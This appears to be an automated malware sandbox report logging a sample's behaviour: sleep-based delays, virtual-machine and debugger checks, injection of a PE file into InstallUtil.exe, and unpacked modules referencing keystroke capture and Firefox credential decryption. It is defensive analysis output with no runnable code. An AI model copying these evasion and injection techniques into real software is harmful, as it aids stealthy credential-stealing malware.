Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594547	Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Window / User API: threadDelayed 8576	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Window / User API: threadDelayed 1255	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 1670	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 8186	Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe TID: 6380	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe TID: 6380	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7696	Thread sleep count: 1670 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -599867s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7696	Thread sleep count: 8186 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -599750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -599640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -599421s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -599077s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -598968s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -598851s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -598625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -598504s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -598375s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -598265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -598047s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -597937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -597827s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -597718s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -597609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -597500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -597390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -597281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -597170s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -597062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -596953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -596843s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -596734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -596625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -596515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -596406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -596297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -595968s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -595750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -595640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -595422s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -595093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -594984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -594875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -594765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -594656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7692	Thread sleep time: -594547s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599867	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599077	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598851	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598504	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597170	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594547	Jump to behavior

Source: pbCN4g6sN5.exe, 00000000.00000002.2383848177.0000000004B30000.00000004.08000000.00040000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VBoxTray
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 1220104579GSOFTWARE\VMware, Inc.\VMware VGAuth
Source: InstallUtil.exe, 00000005.00000002.2901449458.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Code function: 0_2_00A1B51C CheckRemoteDebuggerPresent,

0_2_00A1B51C

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, COVID19.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 444000	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 446000	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: C8E008	Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

Jump to behavior

Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Users\user\Desktop\pbCN4g6sN5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pbCN4g6sN5.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
